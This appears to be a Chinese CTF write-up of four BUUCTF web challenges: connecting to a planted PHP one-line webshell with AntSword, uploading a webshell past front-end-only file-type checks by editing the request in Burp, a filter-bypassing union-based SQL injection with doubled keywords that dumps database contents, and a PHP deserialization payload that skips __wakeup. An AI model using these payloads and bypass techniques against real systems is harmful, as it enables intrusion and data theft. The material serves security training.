web13 [极客大挑战 2019]Knife1
打开靶机,看到网页内容

这是一句话木马
于是打开蚁剑,尝试连接,连接密码为Syc

找到存flag的文件,打开即拿到我们的flag

web14 [ACTF2020 新生赛]Upload1
打开靶机,看到是文件上传的界面

尝试上传一句话木马后缀名为phtml的文件,出现弹窗说只允许上传图片文件,推测是前端验证,因此修改后缀名为jpg,再上传,用burpsuite抓个包修改文件后缀为phtml重发

放包

可以看到我们的一句话木马上传成功,确实是前端验证,接着用蚁剑去连接我们一句话木马的网址
(原url+页面所看到的地址)
成功连接找到flag文件

打开flag文件,即找到我们的flag

web15 [极客大挑战 2019]BabySQL1
打开靶机,发现老登又升级了,说增加了更多过滤

继续使用万能公式
1' or 1=1#

发现怎么回显闭合的是1=1#,因此推出应该是过滤了一些关键字,至少在这一步or是被过滤了
构造
1' || 1=1#
成功登录

接着继续探测,利用order by关键字去检测列名数为3,关键字order by同样存在过滤,进行双写绕过
1' oorrder bbyy 3#

接着我们可以查看username和password字段在哪个位置
经过尝试,发现对于关键字and,union,select都存在过滤,我们进行双写绕过
1' aandnd 1=2 uniunionon selselectect 1,2,3#
发现username和password在2,3位置
爆数据库名
1' aandnd 1=2 uniunionon selselectect 1,2,database()#

爆表名,经过探查,发现from,where也都存在过滤,构造双写绕过语句
1' aandnd 1=2 uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

爆表中字段,使用同样的方法
1' aandnd 1=2 uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'#

最后爆出该表所有字段的值
1' aandnd 1=2 uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

终于拿到flag,flag{a2fa1552-41e0-4850-bb4b-71a54132e80b}
web16 [极客大挑战 2019]PHP1
打开靶机,出现

可以知道需要找到PHP源码,常见源码包名字www.zip,摆上去看看

确实有,下载完后打开源码包看看代码,里面有一个flag.php,打开看看并没有真正的flag,那查看index.php

发现可以进行get传参,参数名为select,最后会传进来的参数进行反序列化,因此可以想到PHP的序列化和反序列化
再看看class.php

是一个名为Name的类,有三个魔术方法,对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法,字符串被反序列化时触发__wakeup()
__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
我们要想拿到最后的flag,需要满足password=100和username=admin,因此我们可以把上图代码放到phpstorm里面,定义类Name的对象,令对象属性username=admin和password=100,最后把这个对象进行序列化输出
$a = new Name('admin', 100);
echo serialize($a)
得到序列化输出后我们需要利用__wakeup函数漏洞原理绕过被反序列化时触发该函数,最后我们形成的get传参内容是
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把它放到url后面,即可拿到flag

不积小流,无以成江海
318

被折叠的 条评论
为什么被折叠?



